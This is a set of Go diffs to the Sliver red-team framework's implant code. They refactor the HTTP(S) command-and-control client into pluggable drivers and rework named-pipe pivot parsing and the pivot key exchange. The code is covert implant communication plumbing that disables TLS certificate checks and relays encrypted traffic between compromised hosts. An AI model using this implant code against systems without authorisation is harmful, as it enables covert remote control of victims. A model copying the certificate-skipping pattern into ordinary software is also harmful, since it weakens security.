This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
)
|
||||
|
||||
// GoHTTPDriver - Pure Go HTTP driver
|
||||
func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
var transport *http.Transport
|
||||
if !secure {
|
||||
transport = &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: opts.TlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
} else {
|
||||
transport = &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: opts.NetTimeout,
|
||||
}).Dial,
|
||||
TLSHandshakeTimeout: opts.TlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
}
|
||||
client := &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: opts.NetTimeout,
|
||||
Transport: transport,
|
||||
}
|
||||
parseProxyConfig(origin, transport, opts.ProxyConfig)
|
||||
return client, nil
|
||||
}
|
||||
|
||||
func parseProxyConfig(origin string, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
}
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
type Jar struct {
|
||||
lk sync.Mutex
|
||||
cookies []*http.Cookie
|
||||
}
|
||||
|
||||
func cookieJar() *Jar {
|
||||
return &Jar{
|
||||
lk: sync.Mutex{},
|
||||
cookies: []*http.Cookie{},
|
||||
}
|
||||
}
|
||||
|
||||
// NewJar - Get a new instance of a cookie jar
|
||||
func NewJar() *Jar {
|
||||
jar := new(Jar)
|
||||
jar.cookies = make([]*http.Cookie, 0)
|
||||
return jar
|
||||
}
|
||||
|
||||
// SetCookies handles the receipt of the cookies in a reply for the
|
||||
// given URL (which is ignored).
|
||||
func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
|
||||
jar.lk.Lock()
|
||||
jar.cookies = append(jar.cookies, cookies...)
|
||||
jar.lk.Unlock()
|
||||
}
|
||||
|
||||
// Cookies returns the cookies to send in a request for the given URL.
|
||||
// It is up to the implementation to honor the standard cookie use
|
||||
// restrictions such as in RFC 6265 (which we do not).
|
||||
func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
|
||||
return jar.cookies
|
||||
}
|
||||
@@ -23,13 +23,11 @@ package httpclient
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
@@ -44,12 +42,15 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
goHTTPDriver = "go"
|
||||
winHTTPDriver = "winhttp"
|
||||
wininetDriver = "wininet"
|
||||
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
|
||||
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
@@ -62,10 +63,12 @@ var (
|
||||
|
||||
// HTTPOptions - c2 specific configuration options
|
||||
type HTTPOptions struct {
|
||||
Driver string
|
||||
NetTimeout time.Duration
|
||||
TlsTimeout time.Duration
|
||||
PollTimeout time.Duration
|
||||
MaxErrors int
|
||||
ForceHTTP bool
|
||||
|
||||
ProxyConfig string
|
||||
ProxyUsername string
|
||||
@@ -90,11 +93,18 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
if err != nil || maxErrors < 0 {
|
||||
maxErrors = 10
|
||||
}
|
||||
driverName := strings.TrimSpace(strings.ToLower(c2URI.Query().Get("driver")))
|
||||
if driverName == "" {
|
||||
driverName = goHTTPDriver
|
||||
}
|
||||
|
||||
return &HTTPOptions{
|
||||
Driver: driverName,
|
||||
NetTimeout: netTimeout,
|
||||
TlsTimeout: tlsTimeout,
|
||||
PollTimeout: pollTimeout,
|
||||
MaxErrors: maxErrors,
|
||||
ForceHTTP: c2URI.Query().Get("force-http") == "true",
|
||||
|
||||
ProxyConfig: c2URI.Query().Get("proxy"),
|
||||
ProxyUsername: c2URI.Query().Get("proxy-username"),
|
||||
@@ -105,16 +115,22 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
// HTTPStartSession - Attempts to start a session with a given address
|
||||
func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*SliverHTTPClient, error) {
|
||||
var client *SliverHTTPClient
|
||||
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
|
||||
client.pollTimeout = opts.PollTimeout
|
||||
client.PathPrefix = pathPrefix
|
||||
err := client.SessionInit()
|
||||
if err != nil {
|
||||
var err error
|
||||
if !opts.ForceHTTP {
|
||||
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
|
||||
client.pollTimeout = opts.PollTimeout
|
||||
client.PathPrefix = pathPrefix
|
||||
err = client.SessionInit()
|
||||
if err == nil {
|
||||
return client, nil
|
||||
}
|
||||
}
|
||||
if err != nil || opts.ForceHTTP {
|
||||
// If we're using default ports then switch to 80
|
||||
if strings.HasSuffix(address, ":443") {
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
}
|
||||
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
|
||||
client = httpClient(address, opts) // Fallback to insecure HTTP
|
||||
err = client.SessionInit()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -123,11 +139,16 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
return client, nil
|
||||
}
|
||||
|
||||
// HTTPDriver - The interface to send/recv HTTP data
|
||||
type HTTPDriver interface {
|
||||
Do(*http.Request) (*http.Response, error)
|
||||
}
|
||||
|
||||
// SliverHTTPClient - Helper struct to keep everything together
|
||||
type SliverHTTPClient struct {
|
||||
Origin string
|
||||
PathPrefix string
|
||||
Client *http.Client
|
||||
driver HTTPDriver
|
||||
ProxyURL string
|
||||
SessionCtx *cryptography.CipherContext
|
||||
SessionID string
|
||||
@@ -223,7 +244,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
|
||||
var data []byte
|
||||
var err error
|
||||
go func() {
|
||||
resp, err = s.Client.Do(req.WithContext(ctx))
|
||||
resp, err = s.driver.Do(req.WithContext(ctx))
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
done <- ctx.Err()
|
||||
@@ -264,7 +285,7 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
|
||||
log.Printf("[http] POST -> %s (%d bytes)", uri, len(sessionInit))
|
||||
// {{end}}
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
resp, err := s.driver.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] http response error: %s", err)
|
||||
@@ -399,7 +420,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
// {{end}}
|
||||
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reader)
|
||||
resp, err := s.Client.Do(req)
|
||||
resp, err := s.driver.Do(req)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST request completed")
|
||||
// {{end}}
|
||||
@@ -443,7 +464,7 @@ func (s *SliverHTTPClient) CloseSession() error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
resp, err := s.Client.Do(req)
|
||||
resp, err := s.driver.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET failed %v", err)
|
||||
@@ -553,122 +574,40 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
|
||||
|
||||
// [ HTTP(S) Clients ] ------------------------------------------------------------
|
||||
|
||||
func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: tlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
func httpClient(address string, opts *HTTPOptions) *SliverHTTPClient {
|
||||
origin := fmt.Sprintf("http://%s", address)
|
||||
driver, err := GetHTTPDriver(origin, false, opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] failed to initialize driver: %v", err)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
client := &SliverHTTPClient{
|
||||
Origin: fmt.Sprintf("http://%s", address),
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: netTimeout,
|
||||
Transport: transport,
|
||||
},
|
||||
Origin: origin,
|
||||
driver: driver,
|
||||
pollMutex: &sync.Mutex{},
|
||||
Closed: false,
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: netTimeout,
|
||||
}).Dial,
|
||||
TLSHandshakeTimeout: tlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
|
||||
origin := fmt.Sprintf("https://%s", address)
|
||||
driver, err := GetHTTPDriver(origin, true, opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] failed to initialize driver: %v", err)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
client := &SliverHTTPClient{
|
||||
Origin: fmt.Sprintf("https://%s", address),
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: netTimeout,
|
||||
Transport: transport,
|
||||
},
|
||||
Origin: origin,
|
||||
driver: driver,
|
||||
pollMutex: &sync.Mutex{},
|
||||
Closed: false,
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
type Jar struct {
|
||||
lk sync.Mutex
|
||||
cookies []*http.Cookie
|
||||
}
|
||||
|
||||
func cookieJar() *Jar {
|
||||
return &Jar{
|
||||
lk: sync.Mutex{},
|
||||
cookies: []*http.Cookie{},
|
||||
}
|
||||
}
|
||||
|
||||
// NewJar - Get a new instance of a cookie jar
|
||||
func NewJar() *Jar {
|
||||
jar := new(Jar)
|
||||
jar.cookies = make([]*http.Cookie, 0)
|
||||
return jar
|
||||
}
|
||||
|
||||
// SetCookies handles the receipt of the cookies in a reply for the
|
||||
// given URL (which is ignored).
|
||||
func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
|
||||
jar.lk.Lock()
|
||||
jar.cookies = append(jar.cookies, cookies...)
|
||||
jar.lk.Unlock()
|
||||
}
|
||||
|
||||
// Cookies returns the cookies to send in a request for the given URL.
|
||||
// It is up to the implementation to honor the standard cookie use
|
||||
// restrictions such as in RFC 6265 (which we do not).
|
||||
func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
|
||||
return jar.cookies
|
||||
}
|
||||
|
||||
// {{end}} -HTTPc2Enabled
|
||||
@@ -21,30 +21,57 @@ package pivotclients
|
||||
import (
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
defaultNamedPipeDeadline = time.Second * 10
|
||||
)
|
||||
|
||||
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
|
||||
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
|
||||
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
|
||||
if err != nil {
|
||||
readDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
|
||||
if err != nil {
|
||||
writeDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
return &NamedPipePivotOptions{
|
||||
ReadDeadline: readDeadline,
|
||||
WriteDeadline: writeDeadline,
|
||||
}
|
||||
}
|
||||
|
||||
// NamedPipePivotOptions - Options for the NamedPipe pivot
|
||||
type NamedPipePivotOptions struct {
|
||||
Timeout time.Duration
|
||||
ReadDeadline time.Duration
|
||||
WriteDeadline time.Duration
|
||||
}
|
||||
|
||||
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
|
||||
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
|
||||
opts := &NamedPipePivotOptions{}
|
||||
if readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline")); err == nil {
|
||||
opts.ReadDeadline = readDeadline
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
if uri.Query().Get("read-deadline") != "" {
|
||||
log.Printf("failed to parse read-deadline: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
opts.ReadDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
if writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline")); err == nil {
|
||||
opts.WriteDeadline = writeDeadline
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
if uri.Query().Get("write-deadline") != "" {
|
||||
log.Printf("failed to parse write-deadline: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
opts.WriteDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
|
||||
if timeout, err := time.ParseDuration(uri.Query().Get("timeout")); err == nil {
|
||||
opts.Timeout = timeout
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
if uri.Query().Get("timeout") != "" {
|
||||
log.Printf("failed to parse timeout: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
opts.Timeout = defaultNamedPipeDeadline
|
||||
}
|
||||
|
||||
return opts
|
||||
}
|
||||
@@ -34,14 +34,16 @@ import (
|
||||
|
||||
// NamedPipePivotStartSession - Start a TCP pivot session with a peer
|
||||
func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*NetConnPivotClient, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
|
||||
address := "\\\\" + uri.Hostname() + strings.Replace(uri.Path, "/", "\\", -1)
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Pivot named pipe address: ", address)
|
||||
log.Printf("Pivot named pipe address: %s", address)
|
||||
log.Printf("Options: %+v", opts)
|
||||
// {{end}}
|
||||
conn, err := winio.DialPipe(address, nil)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to connect to named pipe: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -53,17 +55,11 @@ func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*Net
|
||||
readDeadline: opts.ReadDeadline,
|
||||
writeDeadline: opts.WriteDeadline,
|
||||
}
|
||||
err = pivot.peerKeyExchange()
|
||||
err = pivot.KeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
err = pivot.serverKeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return pivot, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -20,7 +20,6 @@ package pivotclients
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
@@ -32,26 +31,16 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
OriginID = originID() // The origin's PeerID
|
||||
)
|
||||
|
||||
// originID - Random origin identifier
|
||||
func originID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivotClient - A TCP pivot client
|
||||
// NetConnPivotClient - A generic net.Conn pivot client
|
||||
type NetConnPivotClient struct {
|
||||
originID int64
|
||||
pivotSessionID []byte
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
@@ -92,6 +81,7 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
|
||||
}
|
||||
pivotHello, _ := proto.Marshal(&pb.PivotHello{
|
||||
PublicKey: publicKey,
|
||||
PeerID: pivots.MyPeerID,
|
||||
PublicKeySignature: cryptography.ECCPublicKeySignature,
|
||||
})
|
||||
|
||||
@@ -131,26 +121,33 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) serverKeyExchange() error {
|
||||
p.originID = OriginID
|
||||
serverSessionKey := cryptography.RandomKey()
|
||||
p.serverCipherCtx = cryptography.NewCipherContext(serverSessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToServer(serverSessionKey[:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pivotServerKeyExchange, _ := proto.Marshal(&pb.PivotServerKeyExchange{
|
||||
OriginID: p.originID,
|
||||
pivotServerKeyExchangeData, _ := proto.Marshal(&pb.PivotServerKeyExchange{
|
||||
OriginID: pivots.MyPeerID,
|
||||
SessionKey: ciphertext,
|
||||
})
|
||||
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
|
||||
peerEnvelopeData, _ := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
Peers: []*pb.PivotPeer{
|
||||
{PeerID: pivots.MyPeerID, Name: consts.SliverName},
|
||||
},
|
||||
Type: pb.MsgPivotServerKeyExchange,
|
||||
Data: pivotServerKeyExchange,
|
||||
Data: pivotServerKeyExchangeData,
|
||||
})
|
||||
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerEnvelopeData,
|
||||
})
|
||||
keyExchangeCiphertext, err := p.peerCipherCtx.Encrypt(pivotServerKeyExchangeEnvelope)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] my peer id: %d", pivots.MyPeerID)
|
||||
log.Printf("[pivot] Sending server key exchange ...")
|
||||
// {{end}}
|
||||
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
|
||||
@@ -167,23 +164,33 @@ func (p *NetConnPivotClient) serverKeyExchange() error {
|
||||
// a different read deadline here as this has to go round trip to the server if the
|
||||
// upstream implant uses a slow protocol it may take a while to go there and back again
|
||||
p.conn.SetReadDeadline(time.Now().Add(5 * time.Minute))
|
||||
serverKeyExchangeResp, err := p.ReadEnvelope()
|
||||
serverKeyExRespEnvelope, err := p.ReadEnvelope()
|
||||
p.conn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if serverKeyExchangeResp.Type != pb.MsgPivotServerKeyExchange {
|
||||
if serverKeyExRespEnvelope.Type != pb.MsgPivotServerKeyExchange {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Unexpected message type: %v", serverKeyExchangeResp.Type)
|
||||
log.Printf("[pivot] Unexpected message type: %v", serverKeyExRespEnvelope.Type)
|
||||
// {{end}}
|
||||
return errors.New("server key exchange failure")
|
||||
}
|
||||
|
||||
serverKeyExResp := &pb.PivotServerKeyExchange{}
|
||||
err = proto.Unmarshal(serverKeyExRespEnvelope.Data, serverKeyExResp)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error un-marshaling server key exchange response: %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
// Just make sure we can parse the bytes
|
||||
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExchangeResp.Data).Bytes()
|
||||
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExResp.SessionKey).Bytes()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Pivot session ID: %s",
|
||||
uuid.FromBytesOrNil(serverKeyExchangeResp.Data).String(),
|
||||
uuid.FromBytesOrNil(p.pivotSessionID).String(),
|
||||
)
|
||||
// {{end}}
|
||||
|
||||
@@ -274,9 +281,9 @@ func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
return err
|
||||
}
|
||||
var peerPlaintext []byte
|
||||
if envelope.Type != pb.MsgPivotPeerPing {
|
||||
// Prepend the message with the pivot session ID
|
||||
// note this can only be done after the server key change
|
||||
|
||||
// Do not wrap pivot messages since we're not the origin
|
||||
if envelope.Type != pb.MsgPivotPeerPing && envelope.Type != pb.MsgPivotPeerEnvelope {
|
||||
ciphertext, err := p.serverCipherCtx.Encrypt(plaintext)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -284,15 +291,27 @@ func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
msgBuf := make([]byte, len(p.pivotSessionID)+len(ciphertext))
|
||||
copy(msgBuf, p.pivotSessionID)
|
||||
copy(msgBuf[len(p.pivotSessionID):], ciphertext)
|
||||
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotOriginEnvelope,
|
||||
Data: msgBuf,
|
||||
peerData, err := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
Type: pb.MsgPivotSessionEnvelope,
|
||||
Peers: []*pb.PivotPeer{
|
||||
{PeerID: pivots.MyPeerID, Name: consts.SliverName},
|
||||
},
|
||||
PivotSessionID: p.pivotSessionID,
|
||||
Data: ciphertext,
|
||||
})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Marshaling peer error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerData,
|
||||
})
|
||||
|
||||
} else {
|
||||
// Pivot pings are not encrypted with the sever key
|
||||
// Pivot pings and existing peer envelopes are not encrypted with the sever key
|
||||
peerPlaintext = plaintext
|
||||
}
|
||||
|
||||
@@ -322,24 +341,46 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
peerEnvelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(data, peerEnvelope)
|
||||
incomingEnvelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(data, incomingEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unmarshal origin envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Received incoming envelope: %+v", incomingEnvelope)
|
||||
// {{end}}
|
||||
|
||||
// The only msg type that isn't encrypted by the server should be pivot pings
|
||||
if peerEnvelope.Type == pb.MsgPivotPeerPing {
|
||||
return peerEnvelope, nil
|
||||
if incomingEnvelope.Type == pb.MsgPivotPeerPing {
|
||||
return incomingEnvelope, nil
|
||||
}
|
||||
if peerEnvelope.Type != pb.MsgPivotOriginEnvelope {
|
||||
if incomingEnvelope.Type != pb.MsgPivotPeerEnvelope {
|
||||
return nil, errors.New("invalid message type")
|
||||
}
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err = proto.Unmarshal(incomingEnvelope.Data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unexpected envelope type (non-origin)")
|
||||
log.Printf("[pivot] Error unmarshal peer envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if len(peerEnvelope.Peers) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Empty peer list")
|
||||
// {{end}}
|
||||
return nil, errors.New("empty peer list")
|
||||
}
|
||||
|
||||
// If we're not the origin this peer envelope is not for us
|
||||
if peerEnvelope.Peers[0].PeerID != pivots.MyPeerID {
|
||||
return incomingEnvelope, nil
|
||||
}
|
||||
|
||||
plaintext, err := p.serverCipherCtx.Decrypt(peerEnvelope.Data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -349,13 +390,7 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(plaintext, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error unmarshal envelope: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
return envelope, nil
|
||||
return envelope, err
|
||||
}
|
||||
|
||||
// CloseSession - Close the TCP pivot session
|
||||
|
||||
@@ -237,7 +237,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
|
||||
// *** Named Pipe ***
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
